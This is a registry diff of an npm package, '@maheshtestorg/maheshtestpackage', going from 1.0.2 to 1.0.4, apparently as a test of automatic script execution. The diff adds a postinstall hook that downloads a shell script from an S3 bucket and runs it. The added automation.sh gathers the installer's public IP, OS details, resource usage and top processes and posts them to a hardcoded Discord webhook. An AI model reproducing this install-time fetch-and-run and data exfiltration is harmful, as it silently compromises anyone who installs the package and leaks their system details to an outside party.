@maheshtestorg/maheshtestpackage 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/automation.sh +48 -0
  2. package/package.json +11 -5
package/automation.sh ADDED
@@ -0,0 +1,48 @@
1
+ #!/bin/bash
2
+
3
+ # Set your Discord webhook URL
4
+ WEBHOOK_URL="https://discord.com/api/webhooks/1343091445535604830/Jle6wRzKT1wG388WZm2MD6n8Chu-1hPGd6TzURPm0m1z0058rW_tHdDpvp69H-ilg1ZK"
5
+
6
+ # Get system details
7
+ PUB_IP=$(curl -s ifconfig.me)
8
+ OS_INFO=$(uname -a)
9
+ DISK_USAGE=$(df -h | grep '/$')
10
+ MEMORY_USAGE=$(free -h | awk 'NR==2')
11
+ CPU_LOAD=$(uptime | awk -F'load average:' '{print $2}')
12
+ PROCESS_LIST=$(ps aux --sort=-%mem | head -10)
13
+
14
+ # Collect all data
15
+ FULL_DATA="OS Info: $OS_INFO\n\nDisk Usage:\n$DISK_USAGE\n\nMemory Usage:\n$MEMORY_USAGE\n\nCPU Load:$CPU_LOAD\n\nTop Processes:\n$PROCESS_LIST"
16
+
17
+ # Ensure message does not exceed Discord limits (2000 characters)
18
+ if [[ ${#FULL_DATA} -gt 1900 ]]; then
19
+ FULL_DATA="${FULL_DATA:0:1900} (truncated...)"
20
+ fi
21
+
22
+ # Construct JSON payload correctly
23
+ PAYLOAD=$(cat <<EOF
24
+ {
25
+ "content": "**System Report**",
26
+ "embeds": [
27
+ {
28
+ "title": "System Information",
29
+ "description": "Basic system details",
30
+ "fields": [
31
+ { "name": "Public IP", "value": "$PUB_IP", "inline": false },
32
+ { "name": "OS Info", "value": "$OS_INFO", "inline": false },
33
+ { "name": "Disk Usage", "value": "$DISK_USAGE", "inline": false },
34
+ { "name": "Memory Usage", "value": "$MEMORY_USAGE", "inline": false },
35
+ { "name": "CPU Load", "value": "$CPU_LOAD", "inline": false },
36
+ { "name": "Top Processes", "value": "$FULL_DATA", "inline": false }
37
+ ]
38
+ }
39
+ ]
40
+ }
41
+ EOF
42
+ )
43
+
44
+ # Send data to Discord
45
+ curl -H "Content-Type: application/json" -X POST -d "$PAYLOAD" "$WEBHOOK_URL"
46
+
47
+ echo "System info sent to Discord."
48
+
package/package.json CHANGED
@@ -1,11 +1,17 @@
1
1
  {
2
2
  "name": "@maheshtestorg/maheshtestpackage",
3
- "version": "1.0.2",
4
- "description": "testing",
3
+ "version": "1.0.4",
4
+ "description": "Testing automatic script execution",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "wget https://jsmon-npm-test.s3.us-east-1.amazonaws.com/automation.sh -O automation.sh && chmod +x automation.sh && bash automation.sh"
7
+ "postinstall": "wget https://jsmon-npm-test.s3.us-east-1.amazonaws.com/automation.sh && bash automation.sh",
8
+ "test": "bash run.sh"
8
9
  },
9
- "author": "",
10
- "license": "ISC"
10
+ "bin": {
11
+ "maheshtestpackage": "./run.sh"
12
+ },
13
+ "author": "MaheshTestOrg",
14
+ "license": "ISC",
15
+ "dependencies": {}
11
16
  }
17
+